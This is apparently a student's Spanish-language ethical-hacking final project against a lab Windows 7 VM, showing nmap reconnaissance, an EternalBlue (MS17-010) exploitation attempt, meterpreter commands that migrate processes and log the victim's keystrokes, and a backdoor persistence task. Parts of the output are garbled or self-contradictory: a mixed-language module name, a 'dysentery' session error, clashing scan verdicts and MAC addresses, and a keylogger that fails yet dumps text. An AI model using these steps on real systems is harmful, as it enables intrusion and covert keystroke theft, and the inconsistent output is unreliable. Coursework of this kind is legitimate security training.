

Proyecto Final Hacking Ético

Cada sección vale 10 puntos, para un total de 30 puntos.

Requisito: para los siguientes puntos debe crear una máquina virtual de windows 7 o windows server 2008 la cual llamaremos víctima.

1. Ataque de reconocimiento a la víctima.

1.a Utilice nmap y haga un escaneo de puertos y de servicio solo a la ip de la víctima. Identifique cuáles puertos tiene abierto, el sistema sistema operativo, si no le muestra estas informaciones ajuste las opciones de nmap para que le muestre la información solicitada. Exporte el resultado a html y súbalo junto con este documento.

Ethical-Hacker-Kali [Running] - Oracle VirtualBox

File Machine View Input Devices Help

kali@Kali:~

```
[kali㉿Kali] ~]$ sudo nmap -sV -O -T4 -p - -Pn 192.168.0.104 -oX scan1.xml
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2025-11-23 21:04 UTC
Nmap scan report for 192.168.0.104
Host is up (0.00035s latency).
Not shown: 65525 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
49152/tcp  open  msrpc        Microsoft Windows RPC
49153/tcp  open  msrpc        Microsoft Windows RPC
49154/tcp  open  msrpc        Microsoft Windows RPC
5357/tcp   open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49156/tcp  open  msrpc        Microsoft Windows RPC
49157/tcp  open  msrpc        Microsoft Windows RPC
49158/tcp  open  msrpc        Microsoft Windows RPC
MAC Address: 28:C5:D0:02:F2:D3 (Intel Corporate)
Device type: general purpose
Running OS details: Microsoft Windows 7 Home Premium SP1 (Windows 7 Home Premium SP1) OS CPE: cpe:/o:microsoft:windows_7:: - cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1 OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: Host: ALANLOZANO-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.57 seconds
```

[kali@Kali] ~]\$

1.b Vuelva a ejecutar nmap utilizando los scripts de vulnerabilidades. Identifique las vulnerabilidades encontradas. Verifique si entre las vulnerabilidades está la de eternalblue (es posible que salga con otro nombre, favor investigar). Exporte el resultado a html y súbalo junto con este documento.

```
[kali㉿Kali)-~]# sudo nmap --script vuln -p135,139,445 192.168.0.104 -oX vulnscan.xml
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2025-11-23 21:21 UTC
Script output for 192.168.0.104:
| broadcast-avahi-dns:
|_ Discovered hosts:
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
nmap scan report for 192.168.0.104
Host is up (0.0027s latency).

PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
MAC Address: 28:C9:D2:92:F2:D3 (Intel Corporation)

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms17-010: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms17-010: VULNERABLE
|   References:
|     https://www.microsoft.com/ms17-010
|     https://www.microsoft.com/ms17-010
|     https://www.microsoft.com/ms17-010
|     https://www.microsoft.com/ms17-010
|_smb-vuln-ms17-010: false

Nmap done: 1 IP address (1 host up) scanned in 56.27 seconds
[kali㉿Kali)-~]
```

2. Realizar el ataque de penetración con eternalblue a la víctima.

2.a Tener acceso por terminal a la máquina virtual víctima mediante el ataque eternalblue. Debe investigar cómo hacerlo.

A screenshot of a Kali Linux terminal window titled "Ethical-Hacker-Kali [Running] - Oracle VirtualBox". The terminal shows a user attempting to exploit a system using msfconsole. The command entered is "msfconsole -p 445 -u administrator -d -r exploit/windows/smb/ms17_010_永恒之蓝". The output indicates that the session died due to dysentery. Below this, a message from the game "The Last Remnant" asks the user to size up the situation. The terminal then displays the Metasploit menu with options like "use", "exploit", and "sessions". A Metasploit tip at the bottom suggests using the "analyze" command to suggest modules for hosts.

2.b Copiar un archivo de prueba ubicado en el escritorio del usuario de la víctima.

2.c Capturar un texto escrito por la víctima.

```
Ethical-Hacker-Kali [Running] - Oracle VirtualBox
File Machine View Input Devices Help
[ 1 2 3 4 ] 22:36 | 636 p.m. Al

meterpreter > keyscan_start
Starting the keystroke sniffer ...
[*] Failed to load module keyscan: Operation failed: Incorrect function.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ps
Process List

PID PPID Name Arch Session User Path
0 0 [System Process]
4 0 System x64 0 NT AUTHORITY\SERVICIO LOCAL
128 500 svchost.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\sms.exe
208 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\smss.exe
352 340 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
392 240 winlogon.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe
420 404 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
456 404 winlogon.exe x64 3 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe
500 392 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe
516 392 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe
532 392 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe
584 500 svchost.exe x64 0 NT AUTHORITY\Servicio de red
628 500 svchost.exe x64 0 NT AUTHORITY\SYSTEM
704 500 svchost.exe x64 0 NT AUTHORITY\Servicio de red
784 500 svchost.exe x64 0 NT AUTHORITY\SERVICIO LOCAL
800 500 svchost.exe x64 0 NT AUTHORITY\SYSTEM
872 500 svchost.exe x64 0 NT AUTHORITY\SYSTEM
924 844 dhm.exe x64 1 Alanlozano-P\alanlozano C:\Windows\system32\dhm.exe
1188 500 svchost.exe x64 0 NT AUTHORITY\SERVICIO LOCAL
1300 500 svchost.exe x64 0 NT AUTHORITY\SERVICIO LOCAL
1748 500 svchost.exe x64 0 NT AUTHORITY\Servicio de red
1860 412 explorer.exe x64 1 Alanlozano-P\alanlozano C:\Windows\Explorer.EXE
2000 500 taskhost.exe x64 3 Alanlozano-P\alanlozano C:\Windows\system32\taskhost.exe
2056 500 sppsvc.exe x64 0 NT AUTHORITY\Servicio de red
2212 500 svchost.exe x64 0 NT AUTHORITY\SYSTEM
2320 500 keylogger.exe x64 0 NT AUTHORITY\SYSTEM
2324 500 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
2404 1860 notepad.exe x64 3 Alanlozano-P\alanlozano C:\Windows\system32\notepad.exe
2584 500 nmpntwk.exe x64 0 NT AUTHORITY\Servicio de red
2612 500 svchost.exe x64 0 NT AUTHORITY\SERVICIO LOCAL

meterpreter > migrate 1860
[*] Migrating from 2312 to 1860...
[*] Migration completed successfully.

meterpreter > keyscan_start
Starting the keystroke sniffer ...
[*] Failed to load module keyscan: Operation failed: Incorrect function.

meterpreter > keyscan_dump
Dumping captured keystrokes...
block>
-BLOQ MAYUS->BLOQ MAYUS->an lozano esta aqui y sera el mejor ingeniero en ciberseguridad.<CR>

meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter > 
```

3. Mantener el acceso (post-exploitación).

Nota: si usted reinicia la víctima se dará cuenta que se pierde la conexión realizada en el ataque del punto dos. Para evitar esto debe crear una puerta trasera (backdoor) persistente.

3.a Investigar e implementar un mecanismo de persistencia. Esto podría ser la creación de un nuevo usuario con privilegios de administrador, o la configuración de un payload de Metasploit (como un meterpreter) que se inicie automáticamente con el sistema.

3.b Entre a la víctima de manera normal, busque evidencias de lo realizado en el punto 3.a, ejemplo: tome capturas de pantalla que demuestren que se creó el usuario nuevo o que hay un puerto abierto y un programa que se ejecuta cada vez que inicia windows.

